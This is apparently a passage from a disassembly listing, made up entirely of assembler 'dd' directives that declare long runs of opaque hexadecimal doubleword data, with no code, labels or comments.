		dd 46103D82h, 0EF7B9BD4h, 0D216361Fh, 89D3CA0Bh, 1CDCBA26h
		dd 0FAAC13FCh, 81F37F50h, 3CB4640Bh, 0FEA10199h, 74B709F3h
		dd 7B688EDFh, 0A6C43EC2h, 280802EEh, 53E57849h,	0BBE42DCh
		dd 0DD44DF2Bh, 36944EB6h, 3A4E928Dh, 5237867Ch,	0F23E92DDh
		dd 86137D9Ah, 91529D82h, 9E96EF07h, 11D78A3Dh, 7DCAE145h
		dd 90CB0183h, 0E484A602h, 89BD12B5h, 64D9C2ADh,	41218244h
		dd 35BC5B58h, 11754C98h, 602D8794h, 82239760h, 7CF14612h
		dd 0EDD0BFF2h, 0ADDE2F89h, 9763C1DCh, 21055082h, 0ADD236A6h
		dd 0D6E75AD7h, 0C0B43933h, 688EAA5Eh, 23A86758h, 4DD683FFh
		dd 5D0B2A0Ch, 9DB459B2h, 6DEBE9B4h, 0AD8AB9EEh,	63A34D02h
		dd 4D5FE425h, 0CF00924Dh, 0F9934847h, 38E97E14h, 0A055A194h
		dd 0A1BA1CD7h, 40161544h, 0B5CF9FE7h, 0ECA16BCBh, 0A21AFE21h
		dd 0CAC8CED1h, 89CF3156h, 0F8A9DFD7h, 0CB43C837h, 8ED64893h
		dd 1A846437h, 0C597F0ABh, 9E7A4B0Bh, 36B9B6F4h,	0ECA78DA3h
		dd 3BEAD1C9h, 724EF491h, 62D260CBh, 0E4906A95h,	31A7D370h
		dd 0ED78332Eh, 875E1C46h, 863114EAh, 7F4A1C5Bh,	1005165Dh
		dd 0C49DB596h, 0E6848245h, 0CBFEF148h, 6C6F6BCCh, 0B21F65BCh
		dd 0ED08A1E6h, 40D6F011h, 49C19B9h, 0C0AE1FCh, 40D73E45h
		dd 23DC0BE6h, 1110438Ch, 1C7D765Ch, 0D71A54EEh,	41D89E03h
		dd 0D13B1D79h, 6DE61776h, 924D0AC9h, 0F005D364h, 7B031D63h
		dd 32CD1FF9h, 10DBE5C8h, 939DEE5Bh, 94C3F2CAh, 3E367AABh
		dd 4A23C323h, 1737D2D7h, 63EFED11h, 0DE1E5FE5h,	0C795A89Dh
		dd 2ED3F446h, 1495C485h, 6F565235h, 1B0F3D4Dh, 1FDDA403h
		dd 0C34318C2h, 6DE675D8h, 0E2C26B8Fh, 121142Fh,	536B20EAh
		dd 81603EF4h, 374F1B78h, 0D34B509Fh, 1AFC2E90h,	0C21C348Eh
		dd 2838324Fh, 1C19EAD3h, 0F7B25D67h, 74C278A4h,	4EF2D13Bh
		dd 0E8E4B60Ah, 24ADA6F4h, 7DFB2F13h, 450C6EEh, 8DDE04Fh
		dd 0E4FBB09Dh, 3FDF73B5h, 0DB986A53h, 3ABED008h, 0F720837Bh
		dd 99DE72FBh, 0C89C693Fh, 2717139h, 539E8900h, 0E388D38Bh
		dd 0A1FDE691h, 88A2D367h, 0F7B8A588h, 9D7D512Dh, 40A992E5h
		dd 0D0685BD6h, 0B2909A0Eh, 511AAAE8h, 0B6590D97h, 0D9AF795Fh
		dd 9EE0F411h, 0AF6DB00Eh, 482EAAD8h, 0B96D92ACh, 63ECDCF4h
		dd 3516BFE3h, 5DBC08Bh,	0EC618EEh, 6A56C8ACh, 36F1445Eh
		dd 1506979h, 55E0CC85h,	1CD24684h, 7CFBE626h, 37FC4036h
		dd 0ACD4663Fh, 0BE73745Eh, 0ED176E88h, 0B4C3CB31h, 54BC2E02h
		dd 0B911CEEh, 19F3514Ah, 436CB923h, 5EBFFC96h, 4E4357EAh
		dd 0CB69D72Eh, 0D960889Fh, 97E4B9F5h, 98D39A04h, 0D39B65AAh
		dd 0B9FE8586h, 0F856B9CBh, 0EE46E816h, 429F893Dh, 0EFC2A121h
		dd 0BB2D1AB0h, 2B215CA3h, 4F398B2h, 75BFB93h, 0DCF40C3Eh
		dd 0FD7EA965h, 0C72203h, 0B3F33AE3h, 0DF712480h, 474A1127h
		dd 0FD0E044Ch, 0A70C347Ch, 0F5F2DC88h, 0D06F66FFh, 5F03A65Ah
		dd 0CC99A893h, 0FAD38A30h, 21828EE2h, 4B457719h, 28AB81E5h
		dd 0D57A48B1h, 0F07F3438h, 0D6597C20h, 4E6CECDAh, 2E4F843Bh
		dd 91AFA6C9h, 0F1876990h, 0DF802CF0h, 0B9E6794Ch, 24294D7Fh
		dd 67C9C9CEh, 0E166485Bh, 4FF36B73h, 49D892Ch, 40F056Fh
		dd 30F5E900h, 14DBBB8h,	0A4C9F2D0h, 150523E7h, 8454534Fh
		dd 0EB360D28h, 6ED66368h, 0E96B342Bh, 8DF689EEh, 70CBFDECh
		dd 561C22C8h, 50340341h
		dd 5728EB8Ch, 0CA0C3FECh, 1B8D9960h, 0B663DE14h, 0B3C0C3DEh
		dd 6F5D00CEh, 0EB1DCDA2h, 0FFAD7F4Ah, 0FA56CED6h, 24E3D98Fh
		dd 0F32975A9h, 0F943D3B5h, 0B3ED6C67h, 0D56478D1h, 0A1655372h
		dd 774FC034h, 5F346142h, 0AB51325Bh, 0C96F00C6h, 770A4812h
		dd 47159B3Eh, 8816CF6Ch, 5B5A051Ah, 5F5E7BAFh, 1D7933BDh
		dd 5BDE5B15h, 0E0975B05h, 7C43810Fh, 398FDF19h,	48ED7DAFh
		dd 10518BDFh, 26767F6Ah, 418D856Ah, 0BE9829D6h,	0B0AFD4C5h
		dd 0B66D1299h, 65092FD9h, 0B60734F7h, 949F3352h, 74BD83h
		dd 0C0FAF705h, 24FFB98Bh, 9CB3E4Ch, 6DCB2631h, 0F3B1989Dh
		dd 4A15A56Ch, 6BF7262Dh, 3C747B41h, 0F7C103D5h,	1C3943E5h
		dd 90B2C899h, 84F620D4h, 0CAE48E87h, 181D17DBh,	0FD60A15Fh
		dd 0AC8FB196h, 0E5507C0Dh, 0EC9A63CBh, 881B05D7h, 33CAC779h
		dd 56EF3353h, 0A31AFFEDh, 0DCAC9693h, 6C488C00h, 1F900C44h
		dd 0D15E3565h, 0C911B863h, 0BA834462h, 5B7F883Bh, 0EE1BD828h
		dd 87C92C6Bh, 8AA85E2Dh, 79680996h, 2AA29F92h, 72ACCB9Bh
		dd 9D7C0269h, 8AD6C875h, 0D348B710h, 0A137E01h,	0BA917D42h
		dd 0F6401CE1h, 0A5E81A02h, 0C3111D5Eh, 57BC5DEAh, 0CE1FF7AEh
		dd 0B1DEEE50h, 1356F0BAh, 19CE703Ah, 6B2A8C6Eh,	0DF10477Eh
		dd 3DD507C6h, 2EF080ACh, 62ADC12Ch, 16E5AE79h, 632C6B50h
		dd 0F8B36312h, 0DD604B12h, 0B0DF2298h, 1B50A300h, 5D9325F3h
		dd 0ED980E3Dh, 73D5E204h, 2F77941Bh, 41832012h,	8D830D3Dh
		dd 0D140F476h, 1AAE815Ch, 402B8A4Eh, 51E586C3h,	0A429A0C4h
		dd 7911B2D8h, 6B6EDEBDh, 6D9AE36h, 0C90244Bh, 0C505C8DDh
		dd 0D495F1D8h, 7258E661h, 26B6C551h, 0DF2502CFh, 0D772163Fh
		dd 0D48B24F7h, 0DBD0CEBCh, 1265CADBh, 3EA014AEh, 0CDE49B2Ch
		dd 0D0036D0Eh, 1121A880h, 387B4AABh, 9FB09539h,	0C294E49Ch
		dd 0F70718BCh, 414C28A1h, 3944E6E4h, 0E3AD0E39h, 969F655Dh
		dd 2C085BC4h, 5383F2EDh, 0B32519B9h, 0F1C55264h, 3FB83477h
		dd 0E802800Ch, 0E531E657h, 0EBAA2CCAh, 416DC9A0h, 8FB5CE5Eh
		dd 755767h, 8583494Ah, 0BCDBD9F9h, 8ADC4D7Ch, 841F0DCFh
		dd 23D334A8h, 0BD82762h, 0C3BD3595h, 0D2C2531Ch, 8EE0E68Fh
		dd 0FC016E95h, 7FD9561Fh, 0D2B45E2h, 0DE66184Eh, 429911Bh
		dd 2A90E574h, 0BB3B96C7h, 1372CA41h, 0ADEABFBCh, 633FDD0Dh
		dd 5D83A06Bh, 63A12F63h, 51BD818Eh, 50764EC8h, 0A818FA0Dh
		dd 25868386h, 2C964E07h, 3A6339DDh, 1FFBB921h, 89DFB15Fh
		dd 3F8BC420h, 517BDA49h, 303ABD5Bh, 0CA346633h,	0D3F4ABB0h
		dd 7F67D33Bh, 0E7155678h, 5F8FEC1Eh, 928DC2ADh,	0BB0E1DDCh
		dd 349DC09Fh, 3463EF41h, 91F29084h, 15D4962Ah, 50DC489Fh
		dd 2493F6B6h, 0CC81C87Ah, 0DE8DDF32h, 32E97D3Ch, 2EF53234h
		dd 898C5E09h, 35DCD7E7h, 0EF7E511Bh, 32DE757Bh,	0D04D2AFFh
		dd 0C66FF7A4h, 376F5C13h, 8E7037C3h, 0D0B212D7h, 0F1F69A03h
		dd 55060BEAh, 0FBBD911Dh, 0B601469Bh, 65C02779h, 59426605h
		dd 4E960A97h, 0A5FC90E1h, 288A7884h, 0B5DFFE2Dh, 0EBAD20B4h
		dd 0C0B02AFAh, 2FBE2C63h, 360CDBDBh, 7872131Bh,	6A0CD9B8h
		dd 0F7F0185h, 51EE5AD3h, 91FE0883h, 8C8A6B41h, 0B1C69DFFh
		dd 3C2F4BA0h, 0AC4C5922h, 4222F7BCh, 0FB63FD4Dh, 2DF83233h
		dd 7B9F4572h, 0EF48ED2Fh, 940657B4h, 0B82B8F3Dh, 0B23A3098h
		dd 3C1EF300h, 730F556Ch, 5EB84C6Ch, 22E55778h, 0E164FF66h
		dd 1D619A23h, 0EED918B6h, 0EBDE3B61h, 0EF15234Bh, 4AF0D7E2h
		dd 76BE4A33h, 0CD7461FEh, 9D9DD5A2h, 8C5BE802h,	53F02641h
		dd 49BBA9A0h, 799A0ED1h, 943E8BA2h, 7008CA25h, 0B632D3DCh
		dd 862BBC6Eh, 16CFB61h,	0BE5F6B4Bh, 1BEDEF5Dh, 93687DD9h
		dd 0D0D43A95h, 0B9A50DE2h, 0DC96E8E0h, 59761BECh, 0A8E043A9h
		dd 5C3621FAh, 4A0DF2E8h, 1BB930C0h, 91839798h, 0A89E46ACh
		dd 0B159E424h, 8A1C5365h, 0C3CE1655h, 0B42CA58h, 0D8D3174Ah
		dd 63B0439Bh, 7EA389Dh,	0D31A20E7h, 0D4172CFBh,	64FB4529h
		dd 3353914h, 0F5EF8752h, 0E9612F4Ch, 0D18A89A7h, 0D9C8C8Ah
		dd 0F59428F8h, 42C2252Dh, 7A990BFFh, 5B2F92F5h,	17B03CA7h
		dd 0B4D49E41h, 3575CD1Bh, 79B5AB02h, 0F264C86Eh, 895A874Bh
		dd 82FEC2AAh, 463A7B85h, 0EBC9B50Fh, 79FB14D2h,	0C3C34C0h
		dd 35AD245h, 889044Dh, 37D99D14h, 83CAB951h, 52BA2BBh
		dd 63B06286h, 9F83783Bh, 1B310005h, 0A328C80Eh,	0B514E3C0h
		dd 3CF48342h, 639E32A4h, 0FE9C64D5h, 0D02DD925h, 6831E2A1h
		dd 941D2FE2h, 0F2DF8538h, 9C16FD7Fh, 0AC859417h, 0DEC9836Eh
		dd 84F54C1Ch, 5EA7E26h,	0E340FB15h, 3EE94D70h, 0F1587C17h
		dd 40B57A8Fh, 5C80D563h, 0D6BB665Dh, 0F6503525h, 8799222h
		dd 0A0B7535h, 483E0E6Dh, 0EB29A3BEh, 1BCCDA68h,	0A8278E1Dh
		dd 548A56BBh, 66D243C3h, 15ABA72Ch, 0BFBA1AA4h,	0A9FD6342h
		dd 77D379B2h, 0B649A03Bh, 59696F61h, 0FAD33A76h, 0FB67F88Bh
		dd 0F0DD659Fh, 9A091E6Dh, 0A6539DEFh, 35E21938h, 0A223CD12h
		dd 70C27761h, 17B71AEh,	698D39B1h, 53C87A4Eh, 0A67E946Ah
		dd 0CD1B3A8Fh, 41D129A3h, 89224955h, 4B2A8948h,	1E4DE984h
		dd 31BD2326h, 6B41C736h, 0E690F840h, 481CD7C9h,	0EE6B91AEh
		dd 3F622655h, 2687A91Eh, 0D8F4B4C3h, 0B1929829h, 0ED94FEC7h
		dd 0CA50B352h, 68C9ABA5h, 74FF660Eh, 1E556AB9h,	0C1F34B25h
		dd 0F7E88786h, 2FC63789h, 85FA75Ch, 331ACD1Bh, 4A0A45A5h
		dd 49979224h, 16B6CA52h, 7D118E7Ah, 0D29C018Fh,	0A6EFD23Eh
		dd 0C796479Dh, 8AAE794Ah, 0A593A2E6h, 0CF52675h, 73F9BE12h
		dd 0F12EE65Eh, 447D5670h, 3877973Ah, 0BC3D9AA4h, 63451303h
		dd 0B491476h, 68D3022Ah, 8DC28050h, 79A4AE20h, 21C6A175h
		dd 0F48D3BCh, 0B9BC4D20h, 69783F0Bh, 8A0A0101h,	0E29F909Ah
		dd 0B5FD892Ch, 0A1C869CBh, 0DEDA8122h, 0FAD51340h, 0CE0B05C2h
		dd 0A8763C66h, 99AD287Eh, 34526E61h, 0C6A1E863h, 22F9EE42h
		dd 0E7DEBFABh, 80694D6Dh, 0C2A82AEFh, 0A8336CB9h, 0EEA1622Fh
		dd 82078841h, 0BAAC5C60h, 82DD833Ch, 99374724h,	9914C4h
		dd 3CE0EB0Bh, 58724BDBh, 64CEF2D6h, 52DD045Eh, 0D317D94Ah
		dd 0CAE9E4D4h, 0F41DD492h, 5B109172h, 52DA5B6Dh, 0DF619F82h
		dd 9F2D3E9Eh, 6D10D7Fh,	1374442Ch, 941DA9F8h, 187BE309h
		dd 0FB60C9C8h, 0FE1CE136h, 5E53E075h, 0F3A81BB8h, 9F85A5A1h
		dd 0EB893E2Bh, 570E6AEh, 9593F8C7h, 0BDA11E5h, 32F6E026h
		dd 2C47DB46h, 876AED0Ch, 64C4433Eh, 4A898852h, 9A874058h
		dd 0E0AA47Dh, 0A3CE755Ch, 16230F09h, 1E52E8A4h,	115247C3h
		dd 7FCE081h, 0BB7B2E77h, 0E90F910Ch, 0B708CEE9h, 0EC152696h
		dd 16078ADAh, 7F9CA658h, 1F4A7E48h, 31786CC8h, 0DEE69C19h
		dd 53D5F64h, 4F365676h,	0EBD52F09h, 0CC4FC621h,	3BE401BAh
		dd 2461065Ah, 20B5085Dh, 931D2376h, 887EDE73h, 4D2065F0h
		dd 0A95A2A2Ah, 0A9C9AC9Fh, 5A336DA1h, 0F46E6F01h, 0FFD89E44h
		dd 87765189h, 0CD2E9BA6h, 2E4C6AB9h, 0EC845C24h, 0C76A01F1h
		dd 0B81E127Ch, 9D184AB7h, 0DD8822EFh, 418BBD59h, 382BBF93h
		dd 13914EE4h, 0ED45CE3h, 59DB6B10h, 6D37798Fh, 0CCB7927Dh
		dd 0F6D7ED42h, 6950F59Bh, 0E4BFBBDBh, 96AD1674h, 0E7998C0h
		dd 46AD9109h, 0BFF254CFh, 0B84D35BEh, 5D74F020h, 4C325686h
		dd 0A3A3B953h, 0FB4FC0EDh
		dd 0EC770D1Eh, 4BE1F880h, 7221BB30h, 353D252Fh,	9399DF53h
		dd 95FCF979h, 0FE1FFD4Eh, 4D567F39h, 0D4B9592Fh, 0FCF8D9BFh
		dd 2E2DD42Bh, 1552D7F6h, 91012DD0h, 7DF6A250h, 7BE3F65Bh
		dd 0F0E75D2Dh, 479AAE5Bh, 9D816EDBh, 0E6293E4Bh, 0DF156D4Fh
		dd 9EAF7C77h, 0DF297031h, 0EA5EBA75h, 20A93833h, 60EF82B2h
		dd 0F261C843h, 0BE036F74h, 0E5061E16h, 5E478EE2h, 263C751h
		dd 6DB42B00h, 23F96EC5h, 0F87ADB48h, 0DCC4B42Ch, 1A8534D4h
		dd 77603FBDh, 79E5F4F8h, 155B702Bh, 0D425DD3Bh,	4BE57786h
		dd 4FB9F960h, 51CBEBCEh, 0E0EB6102h, 0D504CE48h, 0CE35D465h
		dd 0AA0865E5h, 3C50FD25h, 75B1025Fh, 937FC697h,	0AC077704h
		dd 254F53ADh, 0AE082403h, 95F1FEBEh, 539F344Eh,	0EF12B64Eh
		dd 0AA69DBA5h, 82427D22h, 0EE4D10ABh, 64DA4709h, 0BFDB7958h
		dd 0CB94A8B1h, 74A34D9Ah, 86947ABFh, 0F063D9DEh, 1763FA44h
		dd 0CE78C876h, 258A7F38h, 65A2FDD6h, 0ABF0DF00h, 0C34E4751h
		dd 0D63EBBACh, 0E746917Fh, 5049A497h, 6D5ADC00h, 0FDBFDA2h
		dd 1952D508h, 4B624372h, 1EEEBE4Eh, 6B450F93h, 6BC67F02h
		dd 1B43BACBh, 75E26C58h, 4C49C2C9h, 6C127B9Ah, 0B5364278h
		dd 4E9A2289h, 45A4386Fh, 0E82E9091h, 7C349AEEh,	890AED97h
		dd 0E8A1FDFAh, 37A45937h, 3A1DA812h, 40808200h,	968D61DDh
		dd 0D2CED322h, 28388EA3h, 0C54B9AC3h, 0A50A7AF9h, 0E5C5B08h
		dd 0D41D56BCh, 9A404DEDh, 756A584Ah, 51E212D4h,	42D33335h
		dd 0F5A551AFh, 445D7C20h, 0A21B40B3h, 0BFAA6DB4h, 85CF876Ch
		dd 6D8B8DA0h, 0C1DA2711h, 6A09EC89h, 660FA674h,	0E1CAAE9Fh
		dd 0ACD8E1C9h, 0E88C1AFFh, 0E0B110BBh, 908D9BC6h, 0C961E40Ah
		dd 25BEE68Fh, 0B9D7D3FCh, 0C4D89E43h, 5E437DA8h, 8B278EB3h
		dd 5F3C1A44h, 0BE740B30h, 0A5ED9833h, 0D486339Ah, 37EC6170h
		dd 1DF26BF0h, 717A56FEh, 1563B684h, 0EDD592FFh,	0F76D0798h
		dd 0DAC923E2h, 0FCEF8DCBh, 439F29Ch, 45E7F3BFh,	7BB14B52h
		dd 7DF68B4Bh, 2169C3Ch,	96A57E82h, 4C0CE582h, 853FB525h
		dd 668D6B92h, 864A97CFh, 0B0F571A1h, 5CB60327h,	0F54306A9h
		dd 98EF47B9h, 0E4C931D6h, 6C94D269h, 38DE27B5h,	48D41768h
		dd 0CD333E9Ah, 6FAE5088h, 0E9AAE138h, 2448A53Eh, 171C5262h
		dd 0A98B377Ah, 9AE0DDBBh, 51C1B892h, 0F652990Fh, 6C48A8B6h
		dd 0F672C2FBh, 0A839A65Eh, 73FBA449h, 0A4C1EA61h, 28C22215h
		dd 3E2DD451h, 6275CA37h, 7718AAF4h, 7486FC3h, 281CFF2h
		dd 0F9B00007h, 8055404Ch, 0BE385929h, 816379B7h, 0FAFEEF91h
		dd 7DE51DE1h, 0C3198EBCh, 0B0C74DE2h, 0F659A316h, 3DB70849h
		dd 0C0889BF2h, 82C14DACh, 930B0A22h, 42D48385h,	4817227h
		dd 3282B693h, 6858D639h, 0C20A3D3h, 2B0FEA9Bh, 0A86FD16Bh
		dd 534BE48Eh, 581E8E67h, 525AF94Dh, 0FF6657A4h,	0C4EED0A9h
		dd 571F4E78h, 58B9C392h, 6AE2DCE7h, 3851EF8Dh, 2D16C5A2h
		dd 2D44B920h, 0CED61F1Bh, 3D40ABDCh, 2DFB76A3h,	0D8CDED6Ah
		dd 928F3EB7h, 1C7D23FDh, 5D95D81Dh, 0EB24C98Ah,	3ADE3C21h
		dd 0FB5CDF36h, 0AC9C0E8Dh, 0E848F680h, 9D5661D9h, 8491D99Dh
		dd 3D5753C1h, 5CF1B70Bh, 5DEE49A9h, 0CE7E45BAh,	0E88CEEEEh
		dd 0A5D128F8h, 18EE9F2Ah, 0DAD34302h, 5181C79Ah, 0CA7E85AEh
		dd 99511715h, 0B32CAE44h, 27C72A4Dh, 0B1589B1Bh, 26EEF60Fh
		dd 0EF9EB12Ch, 0F8B5B32h, 8B704434h, 35EA7B29h,	0ECE6220Fh
		dd 69A4AA8Eh, 0CFCCD4E9h, 0AC999F14h, 758CA270h, 0A98BE34Fh
		dd 768AE538h, 7DF6DC73h, 0FDA54179h, 0DDFCF975h, 0E80DC7ECh
		dd 0A42E87CBh, 0E2199B54h, 38A0D805h, 912F430Fh, 27A3C513h
		dd 38152C21h, 79145F52h, 0DD08703Eh, 0A643347Bh, 436743DDh
		dd 0C4443833h, 997992C2h, 58A6767Bh, 0A318D83Fh, 3D9054C8h
		dd 31137009h, 1B82B15Bh, 76A98371h, 0B4DD577Ah,	0C569B79Ch
		dd 7CB0B9A9h, 3F45E1AEh, 0F5BA094Eh, 6BC34A13h,	191941FFh
		dd 0BBC9759Bh, 24C30D9Eh, 54100A70h, 0FC49D85Ch, 57F08270h
		dd 82A555EEh, 0F6A465AFh, 0FFD4CD9h, 6E01FB3Dh,	0F149AFF0h
		dd 0D7447B1Ch, 450BAA4Ch, 1D5052F0h, 9C3F7AABh,	6A371646h
		dd 22093B8Ch, 0A311628Dh, 838EF0F8h, 5BB94028h,	0FFD94B9h
		dd 0E2449411h, 0EDEFFD77h, 3180466Bh, 10437858h, 2229A1DAh
		dd 0FBE8D61Eh, 7F3E31B5h, 255F0E41h, 2C95F03Bh,	896B28DCh
		dd 44C6A68h, 0DC8132C2h, 5CF63E9Dh, 44538AC5h, 1B2394D4h
		dd 0E683B2ACh, 80A4BD6Dh, 0D9518277h, 0F89D6D2Eh, 0BDC92D23h
		dd 0C4E07F63h, 165A43D5h, 2A9D8C80h, 0B91CB856h, 0B50240CBh
		dd 0AEDA6F42h, 2729F144h, 0A2533137h, 87A138F6h, 795309B1h
		dd 0A0337C50h, 792A864Ch, 4435B54Ah, 256342DAh,	0D01AFDBAh
		dd 0BC7DBF21h, 7F6E3970h, 80874DFh, 79194512h, 1712957Fh
		dd 0B4987B40h, 4A855F35h, 6ED9DE57h, 88889F0h, 7BEF532Eh
		dd 0B93221Fh, 1D1642A1h, 2E3F82Fh, 0E0F48FB5h, 0A6481D96h
		dd 87A11C55h, 18F120E2h, 4BEAD31Ah, 0AA6EC872h,	0B61D799Fh
		dd 0E85048F7h, 784E9FBCh, 0A0D6B14Fh, 0A0E72283h, 5A9B8281h
		dd 4C092CCAh, 0ED23EB12h, 0DF0EC9C6h, 20488315h, 842B5BD1h
		dd 0D27A36FFh, 0D3C9C505h, 69DE37A5h, 0BF3F619h, 448895EFh
		dd 0B7EB4495h, 0A064DFBAh, 0BFED5CCBh, 1A7CADD0h, 4D387A09h
		dd 0FBAB1FE4h, 0FCF94673h, 0F11C352Fh, 24089DA1h, 0BFA7DBBAh
		dd 0E147A36Eh, 66B32665h, 85ABDC9Ah, 0C0EE046Dh, 0B875C532h
		dd 0A797D0DBh, 49A170AFh, 2C366B84h, 13DA7BD6h,	0AF65DC0Fh
		dd 3742D1BCh, 0BBBA6A55h, 6F725D96h, 6BE81E11h,	0E13D26EEh
		dd 74BE02B1h, 4220BAC2h, 0C63DFC3h, 0CF329CB3h,	8781969Ch
		dd 0FD08A48Eh, 773F9818h, 0ABB8780Eh, 8D6F05BAh, 0FAA9BC92h
		dd 973C049Bh, 0CB8A186Fh, 0AEE8F5EAh, 37E0220h,	37F4C00Fh
		dd 4894E5C6h, 383B5FE2h, 0C1B234Dh, 60180F8Bh, 32B7ADC6h
		dd 5A967274h, 0DF9D88C5h, 21A156B4h, 0BB256FA2h, 5A4CC4F9h
		dd 67F8C31Ch, 803541F7h, 0DEF286E2h, 0DF248845h, 1985BCB1h
		dd 595176EEh, 0DFD3DDEAh, 56904AA5h, 17E98DBAh,	0A8816411h
		dd 9D282673h, 60889693h, 405D60BCh, 0E96AF7DDh,	0C73BC995h
		dd 8EEA06E8h, 45E06D84h, 54118B4Eh, 0A60BF841h,	0CA64693Dh
		dd 0D2D5EB48h, 0DC3C898h, 0FE3AAD9Bh, 226670F1h, 9C8CA280h
		dd 9A5088DFh, 23ABD8F4h, 34FFB0BEh, 0C64AB0A8h,	9C95533Bh
		dd 0B07189BFh, 3699BF4Fh, 8C314CB7h, 61EC70F3h,	50A5CE21h
		dd 52C5A4F4h, 0C4AAAD4Fh, 1BF154C1h, 0A48E9022h, 0BE22D222h
		dd 0A270C999h, 2E4CBF41h, 6A4F6034h, 7D21C347h,	0F0774D9h
		dd 0DFEA5913h, 6DB9D8EAh, 0C63CDDDAh, 0C8CFE548h, 3E68B2CDh
		dd 8957AFC9h, 3C11035Ch, 0F996688h, 2FBE2991h, 648FBED6h
		dd 0B03A6485h, 3877F86Bh, 0AEC30A98h, 0D9D20730h, 0AB37E32h
		dd 4B89906Dh, 2414354Bh, 50ABEB6Dh, 2F398F4Dh, 69C4779Bh
		dd 473E8B0h, 8C29A1C8h,	391897D5h, 5122A2Dh, 555373A5h
		dd 3B651B52h, 0CBA9AA83h, 0F452601Ah, 8BD16198h, 1493F47Dh
		dd 0C38934BDh, 0CA21CFD7h, 5EF71825h, 5EADCBD3h, 8122FF7Eh
		dd 68B9797Fh, 1082E6CDh, 869DAD43h, 147F44B2h, 0FA9616EEh
		dd 0D9CA7B73h, 8E3EC876h, 0D89762h, 785B9DCCh, 91236C6h
		dd 0DD767130h, 1737317Ah, 0A09D1CE8h, 0BC2DDC70h, 0EE7661F9h
		dd 0D1EF0E90h, 8537DF53h
		dd 6B9FD4E2h, 0D418A356h, 7C1D9FAAh, 0BA257B0Fh, 0CDE67E74h
		dd 558DCC35h, 0B8750EDBh, 77A1ADEDh, 0ABD71C3Ah, 38D65FA4h
		dd 4DED8AFAh, 0ED712FC8h, 0D75FB85Eh, 7DD2DD79h, 8E87B15Fh
		dd 0B5464FF2h, 52ED2DC6h, 0CA0F13FFh, 7F80B6BAh, 0E68CECF4h
		dd 4D1A3AA5h, 0E12DA32Ah, 0CD72574h, 402A101Ah,	8F5E4941h
		dd 3704607Bh, 0BE6C9642h, 0B2F00F86h, 3B001314h, 7285B74Ah
		dd 0BF4468CAh, 148F6C00h, 0CCC6C767h, 7120401Eh, 2C886B28h
		dd 99E8BD86h, 7B96BE90h, 0B28F899Eh, 34A1C146h,	0F7DC9CA5h
		dd 35EC233Ch, 0CDC57591h, 87D4EC7Eh, 3E0D4B72h,	6599F674h
		dd 0E1FC0D5Eh, 3E86E707h, 33413F4Bh, 0C042D8Bh,	763E3F43h
		dd 3D8DCD21h, 1D622246h, 0C8B6DB80h, 0AFAE574Bh, 0BFCA973Dh
		dd 5963C5CEh, 0B8F4A231h, 0EE200ED7h, 0C7F59343h, 10986D59h
		dd 0E7F7D5FCh, 0CCAEF369h, 54538DABh, 0C6FCC024h, 723C3AF0h
		dd 0BAAB8816h, 0FAB58285h, 0CE129874h, 9A87F76Ah, 88331659h
		dd 8186C278h, 84ADA8A2h, 11C71438h, 0C2F2D264h,	1482C3B9h
		dd 4734D7h, 0A16C0D0Eh,	0C2198C98h, 81155BF8h, 23C03074h
		dd 0B0726424h, 2FE836E6h, 0C3E3F1F9h, 0AD517862h, 0AFC36FFCh
		dd 0E5C6EA35h, 361CE7EEh, 4C3F9A3Fh, 0CC9ED0E1h, 26255620h
		dd 0FA16E99Dh, 7F51E3C1h, 5A5024F1h, 0D8460B46h, 5DD39EBCh
		dd 29E2710Bh, 0F921CECCh, 2E40D2E7h, 0E6E4EB88h, 0F5F5A871h
		dd 0F6D9081Dh, 98BD6352h, 0AAED0029h, 0F982DE30h, 7CE8830Dh
		dd 3AD432DAh, 0E83E31A3h, 0F1E4F364h, 33F2A2AFh, 64C8C5A6h
		dd 0E0D42B32h, 6B119EFFh, 0B812B92h, 0C8B88430h, 0A0B0B9A0h
		dd 9DDB6494h, 0FBC56294h, 0FBC9D8DCh, 0D5C1D5D2h, 312D484Fh
		dd 779056BBh, 34C7AC82h, 41E52AD9h, 4FD11FBCh, 0EAC22A6h
		dd 0A1FF370Bh, 0E2732E89h, 453CAEFAh, 6D31D14Fh, 0D5807905h
		dd 19652361h, 56B1A429h, 96E64BE8h, 31D9809Fh, 0D4FB4603h
		dd 0CB8DFCDDh, 18E18E77h, 7491C44Ch, 0A15D88AAh, 625B8E03h
		dd 97AB8A87h, 4CA4296Bh, 9A3CA5B0h, 0AB04D766h,	1E7C65A7h
		dd 80BDF2A0h, 543CB691h, 751F6541h, 0C6CD7386h,	44AAD818h
		dd 1EB5FE9Ah, 7AC14A7Fh, 50F88B91h, 0FD93A88Fh,	442B4849h
		dd 7FCB43B8h, 7965B542h, 62A8F8E2h, 5ACFBC2Bh, 6AB634BBh
		dd 0C7370E70h, 3105D64Ah, 0E62BAEBEh, 0EF75D25h, 15622BE0h
		dd 84044AF1h, 872B7FBBh, 663A914Bh, 878D6C63h, 2A13645Bh
		dd 0AD6C4750h, 5B1D2D7Eh, 8B03E84Ch, 75958E76h,	0E1332588h
		dd 2305C757h, 104E1CFDh, 0FE06851Fh, 75453C2Ch,	21E6792Ch
		dd 0A156BB63h, 44842062h, 8A8F0DBDh, 1479E4E9h,	7BBA07A6h
		dd 0ABB7722Dh, 0DDE93172h, 0F116242Ch, 451E5C75h, 0E592DE45h
		dd 0D1D81502h, 8CA4FCEDh, 37C5990Ch, 0EA4CD319h, 1F76DD55h
		dd 46BEB9B7h, 0DA244765h, 0AD28D8D9h, 5FA9BFDAh, 513F27E7h
		dd 53A05D0Eh, 6588C8A0h, 8EBD105Dh, 4295B716h, 0C335BF36h
		dd 15A84F98h, 0B9B616C3h, 53C9F165h, 3AC86C22h,	0B21130CFh
		dd 7AA693FCh, 0D2B1942Fh, 40BB58E4h, 58B03ECh, 3B87A91h
		dd 4A0456A1h, 9A9F3C15h, 145F9D7Eh, 3553A2CEh, 86908D00h
		dd 653F6C6h, 1C697912h,	1F25B863h, 0EB881DCFh, 5C7E9544h
		dd 0ED787A72h, 0B991A3A2h, 1C5D268Ch, 781AF32Ch, 0B7A9BA4Fh
		dd 8527B5C5h, 77037EAFh, 75EC5EA4h, 5CE2C760h, 5977DE7Ch
		dd 7DC00684h, 0B7C898B2h, 0AF0322CDh, 24674821h, 7E86B34Ch
		dd 67FA6F86h, 6E2AFC7Fh, 5B3744E6h, 0FB77A0CFh,	46BC99CEh
		dd 0BC119913h, 2C62997Ah, 43FC22C0h, 2717B71Ah,	2CA5F386h
		dd 4CBDA708h, 5291C3FFh, 0CB720FECh, 0C82A6344h, 0C50F8F56h
